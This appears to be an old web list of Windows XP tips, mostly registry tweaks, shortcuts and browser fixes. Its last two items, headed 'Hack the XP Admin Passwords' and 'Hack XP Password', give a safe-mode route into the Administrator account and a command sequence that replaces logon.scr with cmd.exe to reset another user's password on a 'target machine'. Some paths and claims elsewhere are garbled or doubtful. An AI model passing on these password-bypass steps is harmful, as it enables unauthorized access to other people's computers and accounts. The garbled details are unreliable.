XP TRICKS & TIPS

XP TRICKS & TIPS

1. Type URL without a Mouse Click

In IE you can use Alt + D key combination to highlight the address bar. This allows you to enter a URL without the mouse click. This will be helpful for the laptop users who find it uneasy to use their touchpad every time they want to type a URL.

2. Alignment of Start Menu panel

Start menu has all the entries aligned to left by default. But if you insist on aligning it to the right, then here is the way to achieve it. The objective can be met by a registry tweak. Open the registry editor and navigate to the following key:

HKEY_CURRENT_USER\Control Panel\Desktop and look for key MenuDropAlignment.

Set its value to 1 to align the menu entry to right. If you have any regrets in future, turn the value back to 0.

3. Remove “Log Off” from the Start Menu

To remove the Log Off line on your Start menu do the following registry hack. Navigate toHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Create a new DWORD value and name it NoLogOff. Now add the value 1 to the key. You need to logoff or reboot for the settings to take effect.

4. Unable to Open Certain Web Sites? Try These Steps

_ From the IE window, go to Tools_Internet Options_Advanced and uncheck the option Enable third party browsing extensions. Now restart IE.

_ Go to Start_Run and type regsvr32 actxprxy.dll (follow next bullet point too)

_ Go to Start_Run and type regsvr32 shdocvw.dll and reboot.

_ Open Tools_Internet Options_Privacy tab and put one of these web sites in the list which can be located by clicking the Sites button.

_ Try putting the web site in the "Trusted Zone" and if this fixes the problem, you can begin to diagnose cookie/script problems with that site and your Internet zone settings.

_ If you are a dial-up user and your ISP have more than one local number for dialup, remove the primary number that is dialing up first and use the secondary dialup number. Clear the checkbox for Negotiate multilink for single link connections under the PPP settings.

_ A file in your Windows folder called 'hosts' (no extension) may have an incorrect IP address for the page. To find out, open Windows Explorer, select your C:\Windows folder, and look in the right pane for a hosts file. If you can't find it in your Windows folder, this isn't your problem. If you do find a hosts file, open it in Notepad and look

for a line referring to the page that's giving you trouble. If it's there, enter # at the beginning of the line. Save and exit the file.

_ Go to Tools_Internet Options_Connections_Lan Settings. Uncheck Use a proxy server. Now restart IE.

These steps will definitely solve the issues.

5. Clear Most Recently Used (MRU) List From MS Word

When you try to save a document in MS Word; Save as window open, and on the file name text field, if you click the arrow down, you will see the history of saved documents. Don’t like this idea? You wish to clear that? Ok. Here we go. First open the registry editor and navigate to the following key and delete accordingly:

HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\OpenFind\MicrosoftWord\Settings\Save As\File Name MRU.

6. Auto Disconnect Creating Problems?

If you are having problem setting the auto disconnect feature in Internet explorer 6 , here is a tip. Open registry editor and enter the following area:

HKY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters

Llook for AutoDisconnect parameter. Change its value to whatever you want. Note that the value mentioned here are in minutes.

7. Automatic Window Refresh

Whenever you make a change to your windows you have to press F5 or do a manual refresh. With this tweak you can tell windows to increase the rate at which it does the refreshing. Navigate to the key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update. Create a new DWORD value, or modify the existing value, named UpdateMode and set it to equal "0" for faster updates. Restart Windows for the change to take effect.

8. Enable Fast Shutdown

To enable fast shutdown open the registry editor. (Start_Run_Regedit) and go to the key:

HKEY_LOCAL_MACHINE\ System\CurrentControlSet\Control\Shutdown. Create a string key called FastReboot and give it a value of 1.

9. Make XP Remember the Folder Settings

Sometimes you'll customize a folder and upon restarting you will be shocked to see that the changes haven't been saved. In some cases the settings work for few days and then XP forgets it. Ever wondered why this happens? Well, This is due to that fact that Windows XP remembers the settings for only 400 folders, by default. When you customize more folders the old settings are lost. To prevent Windows XP forgetting the folder customization, we can increase the limit till 8000 (which is the upper limit).

Set the BagMRU Size to 6000 (Decimal) in the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam

Let me remind you that the value that we set is in Decimal and not hex.

10. Shortcut to Lock Your PC

We have already discussed about shortcuts to shutdown, restart and logoff XP machines. This time I’ll show you how to lock it with a shortcut. Create a new shortcut on your desktop using a right mouse click, and enter rundll32.exe user32.dll,LockWorkStation in the location field exactly as it is. Give the shortcut a name. Just double click on it and your computer will be locked. Enter passport to log back in.

11. Stop Users Changing Desktop Settings

If you are running a cyber cafe (or a public machine) and do not want users to change desktop

settings,navigate to the following key:

HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\ProgramManager\Restrictions.

Create or edit the DWORD NoSaveSettings. Now to disable saving desktop settings, set its value to 1. Reboot the machine for the settings to take effect.

12. A Tip for the Taskbar

Navigate to the following registry hive for this small but cute registry hack:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Create or modify a DWORD key named NoToolbarsOnTaskbar and set its value to 1 (hex).

13. Clear the Temporary Files Automatically

You can tell IE 6 to automatically delete temporary files. To do so Start the browser, select Tools _Internet Options_ Advanced. Go to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

14. Display Wallpaper Right from Log On

To display wallpaper during the logon itself, navigate to the following registry key :

HKEY_USERS\.DEFAULT\Control Panel\Desktop. In the right pane, change the path to Wallpaper. It will be useful if you are looking for ways to display your company logo during all user log in sessions.

15. Stop Error Messages from Displaying on Startup

If you constantly see an error message that you can't get rid offor example, from a piece of software that didn't uninstall properly and continues to give errors on startupyou can disable it from displaying on startup. Run the Registry Editor and go to HKEY_LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Windows. (This

key holds a variety of Windows system settings, such as the location of your system directory.) Create a new DWORD called NoPopupsOnBoot and give it a value of 1. Exit the Registry and reboot for the setting to take effect. To disable it, either delete the DWORD value or give it a value of 0.

16. Disabling Recent Documents History

The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down.

1. Open the Registry Editor (select Start/Run, type regedit, and click OK).

2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\

CurrentVersion\Policies\Explorer.

3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it

once it is created.

4. Set the Data Value to 1 to enable the restriction.

5. Click OK and close the Registry Editor. You'll need to restart the computer for the

change to take effect.

17. Removing Unwanted Fonts

One trick that increases your boot time a bit is to lose any fonts in the Fonts folder in Control Panel that you never use. The more fonts you have, the more processing Windows XP has to do to prep all of those fonts for use. You must be a bit careful here to not remove fonts that you might want, but there is a good chance that you can

live without many of them. To delete unneeded fonts, follow these steps:

1. Open the Fonts folder in Control Panel.

2. Select Edit/Select All and then Edit/Copy.

3. Create a new folder on your desktop, open it, and select Edit/Paste.

4. In this new folder, delete any of the fonts you do not want.

5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete.

6. Go back to your new desktop folder and click Edit/Select All.

7. Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder.

18. Stop Noise

When using 3rd party burning software (eg, Nero Burning Rom) to copy audio CD,some noise may be heard at the end of each track. To prevent this,try the following method:

1. Enter System Properties\device manager

2. Select IDE ATA/ATAPI controllers

3. Double click on thee CD writer IDE channel

4. Select advance setting

5. Change the transfer mode to 'PIO Only'

6. Restart Computer

19. Resize Your Wallpaper

If you just switched to a wide-screen monitor, your desktop wallpaper image may no longer look right, or maybe you just want to make a small adjustment to it.

For more-granular control of your wallpaper's placement, highlight the following key:

HKEY_CURRENT_USER\ControlPanel\desktop

Double-click the WallpaperOriginX icon in the right pane. (If you don't see this icon, right-click in this pane, choose New, String Value, type WallpaperOriginX to name the value, and press .) Type a number (in pixels) for the starting horizontal position of your wallpaper's left edge, and press . Now double-click the WallpaperOriginY icon (create it if necessary as explained above) and enter a number for the starting vertical position of the image's top edge. If your wallpaper image is larger than the screen, type a negative number (for example, -200) to push the

picture's top or left edge off the screen. To test the effect, first minimize the Registry Editor (and any other open window), right-click the desktop, choose Properties, and click OK or Apply to refresh the wallpaper placement. Repeat these steps as needed until the wallpaper is positioned correctly.The settings work whether you've set your wallpaper to be centered, tiled, or stretched.

20. Turn Off System Beeps

Go to HKEY_CURRENT_USER\Control Panel\Sound, and find the Beep and ExtendedSounds String values. Set each value to No. Exit the Registry and reboot. The beeps will no longer sound. Hey, your XP is no longer noisy!!

21. Cleaning Recent Docs Menu and the RUN

The Recent Docs menu can be easily disabled by editing the Registry. To do this go to the following Key: HKEY_CURRENT_USER\Software\Microsoft\ Windows\ CurrentVersion\Policies\Explorer. Now in the right pane, create a new DWORD value by the name: NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the changes. You can also clear the RUN MRU history. All the listings are stored in the key:HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\ Explorer\ RunMRU. You can delete individual listings or the entire listing. To delete History of Find listings go to: HKEY_CURRENT_USER\Software\ Microsoft \ Windows \CurrentVersion\Explorer\Doc Find Spec MRUand delete.

22.Shutdown and Reboot in Style .

Turning off or rebooting XP involves a several-step process: click the Start menu, choose Shut Down, and then select Shut Down or Restart. If you want, however, you can exit or reboot much more quickly, by creating a shortcut that enables one-click shutdowns. You can also use the shortcut to customize the shutdown or reboot for

example, by displaying a specific message or automatically shutting down any programs that are running.

First, create a shortcut on your desktop by right-clicking the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, doubleclicking it will shut down your PC.

But you can do much more with a shutdown shortcut than merely shut down your PC. You can add any combination of several switches to do extra duty, like this:

shutdown -r -t 01 -c "Rebooting your PC"

Double-clicking that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The shutdown command includes a variety of switches you can use to customize it.

Switches you can use with shutdown Switch What it does 

-s Shuts down the PC.

-l Logs off the current user.

-t nn

Indicates the duration of delay, in seconds, before performing the action.

Switches you can use with shutdown Switch What it does

-c "messagetext"

Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.

-f Forces any running applications to shut down.

-r Reboots the PC.

Here are the ones I use for shutdowns and restarts:

Shutdown -s -t 03 -c "See you later!"

shutdown -r -t 03 -c "You can't get rid of me that quickly!"

You always have to turn from the CPU after running this command. (Same with AT and ATX powered machines.) If you want to turn down power of ATX machine automatically, run the following commnd "c:\windows\system32\tsshutdn.exe 00 /POWERDOWN / DELAY:00" This is used to turn off a server. Even though youdon't have networked computers attached to your computer, this works.

23: Hack the XP Admin Passwords

When you or anyone installs Windows XP for the first time your asked to put in your username and up to five others. Now, unknownst to a lot of other people this is the only place in Windows XP that you can password the default Administrator Diagnostic Account. This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account. This only works if the user on setup specified a password for the Administrator Account.

24:Hack XP Password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly. Forget about the explanations as it is for the sake of clarity purpose Command Expalnation

cd\ *drops to root

cd\windows\system32 *directs to the system32 dir

mkdir temphack *creates the folder temphack

copy logon.scr temphack\logon.scr *backsup logon.scr

copy cmd.exe temphack\cmd.exe *backsup cmd.exe

del logon.scr *deletes original logon.scr

rename cmd.exe logon.scr *renames cmd.exe to logon.scr

exit *quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user

here> password" If the Administrator Account is called Frank and you want the password blah enter

this "net user Frank blah" and this changes the password on franks machine to blah

and you should be in.